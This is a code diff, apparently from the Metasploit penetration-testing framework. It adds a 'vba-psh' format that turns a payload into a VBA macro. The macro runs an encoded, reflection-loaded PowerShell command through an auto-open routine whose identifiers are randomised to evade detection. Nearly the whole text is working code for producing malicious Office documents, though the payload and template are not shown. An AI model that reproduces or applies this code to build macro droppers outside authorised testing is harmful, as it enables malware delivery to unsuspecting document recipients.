@@ -1001,6 +1001,33 @@ def self.to_vba(framework,code,opts = {})
1001
1001
read_replace_script_template ( "to_mem.vba.template" , hash_sub )
1002
1002
end
1003
1003
1004
+ def self . to_powershell_vba ( framework , arch , code )
1005
+ template_path = File . join ( Msf ::Config . data_directory ,
1006
+ "templates" ,
1007
+ "scripts" )
1008
+
1009
+ powershell = Rex ::Powershell ::Command . cmd_psh_payload ( code ,
1010
+ arch ,
1011
+ template_path ,
1012
+ encode_final_payload : true ,
1013
+ remove_comspec : true ,
1014
+ method : 'reflection' )
1015
+
1016
+ # Intialize rig and value names
1017
+ rig = Rex ::RandomIdentifierGenerator . new ( )
1018
+ rig . init_var ( :sub_auto_open )
1019
+ rig . init_var ( :var_powershell )
1020
+
1021
+ hash_sub = rig . to_h
1022
+ # VBA has a maximum of 24 line continuations
1023
+ line_length = powershell . length / 24
1024
+ vba_psh = '"' << powershell . scan ( /.{1,#{ line_length } }/ ) . join ( "\" _\r \n & \" " ) << '"'
1025
+
1026
+ hash_sub [ :powershell ] = vba_psh
1027
+
1028
+ read_replace_script_template ( "to_powershell.vba.template" , hash_sub )
1029
+ end
1030
+
1004
1031
def self . to_exe_vbs ( exes = '' , opts = { } )
1005
1032
delay = opts [ :delay ] || 5
1006
1033
persist = opts [ :persist ] || false
@@ -1904,6 +1931,8 @@ def self.to_executable_fmt(framework, arch, plat, code, fmt, exeopts)
1904
1931
when 'vba-exe'
1905
1932
exe = to_executable_fmt ( framework , arch , plat , code , 'exe-small' , exeopts )
1906
1933
Msf ::Util ::EXE . to_exe_vba ( exe )
1934
+ when 'vba-psh'
1935
+ Msf ::Util ::EXE . to_powershell_vba ( framework , arch , code )
1907
1936
when 'vbs'
1908
1937
exe = to_executable_fmt ( framework , arch , plat , code , 'exe-small' , exeopts )
1909
1938
Msf ::Util ::EXE . to_exe_vbs ( exe , exeopts . merge ( { :persist => false } ) )
@@ -1950,6 +1979,7 @@ def self.to_executable_fmt_formats
1950
1979
"psh-cmd" ,
1951
1980
"vba" ,
1952
1981
"vba-exe" ,
1982
+ "vba-psh" ,
1953
1983
"vbs" ,
1954
1984
"war"
1955
1985
]
0 commit comments